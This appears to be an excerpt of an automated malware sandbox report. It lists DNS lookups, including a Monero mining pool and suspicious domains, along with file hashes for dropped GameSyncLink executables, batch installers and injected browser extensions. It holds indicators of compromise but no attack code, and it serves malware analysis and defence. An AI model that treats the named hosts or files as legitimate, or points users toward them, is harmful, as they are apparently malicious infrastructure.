                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    api.myip.com

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.26.9.59
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.26.8.59
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.75.163

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    parrotflight.com

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.84.71
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.187.204

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    184.139.19.162.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    r3.o.lencr.org

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2.18.190.73
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2.18.190.80

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    238.16.217.172.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    59.128.172.185.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    dns
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    334 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    380 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    59.128.172.185.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    47.151.221.77.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    file-file-host6.com

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    31.41.44.147

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    junglethomas.com

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    junglethomas.com

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.92.190
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.197.33

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    192.182.67.172.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    dns
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    422 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    917 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    192.182.67.172.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    boredimperissvieos.shop

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.67.186.30
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    104.21.72.135

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    59.9.26.104.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    71.84.21.104.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ctldl.windowsupdate.com

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    92.123.143.240
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    92.123.143.233

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    11.97.55.23.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    175.132.233.193.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    dns
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    74 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    129 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    175.132.233.193.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    79.193.67.172.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    dns
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    216 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    275 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    79.193.67.172.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    70.29.182.210.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    70.29.182.210.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    201.44.21.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    dns
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    424 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    680 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    201.44.21.104.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    33.128.172.185.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    147.44.41.31.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    190.92.21.104.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    121.150.80.3.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    clients2.google.com

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.217.16.238

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    76.60.21.104.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    dns
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    493 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.3kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    7
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    7

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    76.60.21.104.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    72.183.67.172.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    10.66.42.5.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ctldl.windowsupdate.com

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2.18.190.77
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2.18.190.79

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    nexusrules.officeapps.live.com

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    52.111.227.11

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    www.googleapis.com

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    142.250.178.10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.217.16.234
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    142.250.200.10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    142.250.200.42
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    216.58.201.106
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    216.58.204.74
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    216.58.213.10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.217.169.10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    216.58.212.202
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    216.58.212.234
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    172.217.169.42
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    142.250.179.234
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    142.250.180.10
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    142.250.187.202
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    142.250.187.234

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    97.201.58.216.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 8.8.8.8:53
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    131.176.67.172.in-addr.arpa
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    dns
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    416 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    759 B
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    131.176.67.172.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    178.188.67.172.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    192.186.117.34.in-addr.arpa

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    xmr.2miners.com

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    162.19.139.184

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    x1.c.lencr.org

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    23.55.97.11

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Request

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    clients2.googleusercontent.com

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    DNS Response

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    216.58.201.97

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • 224.0.0.251:5353
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1.3kB
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    16

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Downloads

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Program Files (x86)\GameSyncLink\GameService.exe

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    288KB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    d9ec6f3a3b2ac7cd5eef07bd86e3efbc

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    e1908caab6f938404af85a7df0f80f877a4d9ee6

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    472232ca821b5c2ef562ab07f53638bc2cc82eae84cea13fbe674d6022b6481c

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    1b6b8702dca3cb90fe64c4e48f2477045900c5e71dd96b84f673478bab1089febfa186bfc55aebd721ca73db1669145280ebb4e1862d3b9dc21f712cd76a07c4

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2.5MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    e6943a08bb91fc3086394c7314be367d

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    451d2e171f906fa6c43f8b901cd41b0283d1fa40

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    aafdcfe5386452f4924cfcc23f2cf7eccf3f868947ad7291a77b2eca2af0c873

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    505d3c76988882602f06398e747c4e496ecad9df1b7959069b87c8111c4d9118484f4d6baef5f671466a184c8caec362d635da210fa0987ccb746cbeea218d2a

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Program Files (x86)\GameSyncLink\installc.bat

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    301B

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    998ab24316795f67c26aca0f1b38c8ce

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    a2a6dc94e08c086fe27f8c08cb8178e7a64f200d

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    a468b43795f1083fb37b12787c5ff29f8117c26ac35af470084e00c48280442e

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    7c9c2ade898a8defb6510ddd15730bec859d4474071eb6b8e8738ea6089764f81924ad2a6ebf0479d4fed7d61890edaa38f4bfbf70a4e6b30d33aa5bfc5b5c75

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Program Files (x86)\GameSyncLink\installg.bat

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    284B

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5dee3cbf941c5dbe36b54690b2a3c240

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    82b9f1ad3ca523f3794e052f7e67ecdcd1ae87e1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    98370b86626b8fd7a7cac96693348045b081326c49e2421113f49a5ea3588edb

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    9ee431d485e2f09268a22b287b0960859d2f22db8c7e61309a042999c436b3de74f5d75837b739e01122a796ad65bc6468d009ec6ddf4962f4ff288155410556

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2.0MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    cb61192d28b103fa22514847348e8e6d

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    94cce85a136da71875ddfa631bad6454022ed500

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    86e366cf56106e7a6c4e249f090ed9727c42c2cda9087a17afd818f8f0304a05

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    49bcc23d6f1f4ebe2dda8b974062558bb198332f1d2a4a4a9565c447b58bb1110b659763d404f69c6f1f6c8657a336ebe2120aaf67f77b5b56d8a1e60772fb70

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\be\messages.json

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    202B

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2f2efb9c49386fe854d96e8aa233a56f

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    42505da3452e7fd4842ed4bd1d88f8e3e493f172

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    a93a368b5c7023842f9d8b0ee5ef9638c03c808212efefadf7331d3b65482ea3

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    c9bd97f3487ab695dd9245a14058ed70b3be61b6bf21b281efe022a954c17d86208a4004e157ef892af84764ac290c6f97345a50ebeb9d11c16490979859b934

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\ca\messages.json

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    146B

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    7afdcfbd8baa63ba26fb5d48440dd79f

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    6c5909e5077827d2f10801937b2ec74232ee3fa9

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3a22d19fd72a8158ad5ec9bfa1dcdf70fdb23c0dee82454b69c2244dfd644e67

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    c9acb7850d6392cac39ed4409a7b58c31c4e66def628e9b22a6f5a6a54789e2c67c09427bd57de1ff196bf79eaf1d7dc7423ba32f1ab1764b5a25ef706cbc098

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\cs\messages.json

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    154B

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    0adcbaf7743ed15eb35ac5fb610f99ed

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    189e00f2a1f4ebc7443930e05acc3dcb7ac07f3b

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    38af7c2222357b07b4e5f0292d334d66f048c12f1c85ca34215104baa75bc097

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    e2e4fd47bb3625d050b530bc41df89501832d5a43e4bb21efea0102a6d04c130cd5b7a4e4cafdac99344eb271401c6e6f93440e55d77013695c1ab3bba1b4a89

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\da\messages.json

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    146B

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    372550a79e5a03aab3c5f03c792e6e9c

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    a7d1e8166d49eab3edf66f5a046a80a43688c534

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    d4de6ea622defe4a521915812a92d06d29065dacb889a9995a9e609bb02f2cfb

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    4220dfce49f887bf9bf94bb3e42172ae0964cfb642343a967418ff7855c9c45455754ebf68c17f3d19fc7c6eb2c1b4725103bc55c9c56715941740897c19575f

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\de\messages.json

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    155B

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    3c8e1bfc792112e47e3c0327994cd6d1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    5c39df5dbafcad294f770b34130cd4895d762c1c

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    14725b60e289582b990c6da9b4afcbef8063eb3414f9c6020023f4d2bac7bb1e

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ce7c707e15725ffb73c5915ee6b381ca82eda820ae5ec2353a4e7147de297f6367945b34010b4e4c41d68df92a4ccf9a2b5df877f89526ca6b674bae00cabe9e

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\el\messages.json

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    180B

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    177719dbe56d9a5f20a286197dee3a3b

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2d0f13a4aab956a2347ce09ad0f10a88ec283c00

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2e2ae3734b84565b2a6243fe4585dd6a0f5db54aae01fa86b6f522dd1ff55255

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ff10ae14ce5f7ed9b0612006730f783e1033304e511ccf9de68caeb48cc54e333c034f14cac63c3ea07c84a8f0f51c7f929b11d110913fa352562d43947798b5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    187B

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2a1e12a4811892d95962998e184399d8

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_TO\messages.json

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2.0MB

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    MD5

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    9c9b9f20e2ce052e31dfe303339a3df2

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA1

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    592ffba69801210b8612d0d75155a964ce6bfe05

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA256

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    48fcae7741be03a28dd0731fcf8cb8c82f8049fbb12e800f6aac72b700fd1975

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    SHA512

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    37ae1927b7050188059ae580c6ddcbed9011a968200f7ea7497ef48edc3dc7f302f357cfad1a941b8b66323b4539266608f95a099e6105e566103ab6e5e359d7

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\et\messages.json

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    Filesize

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    161B

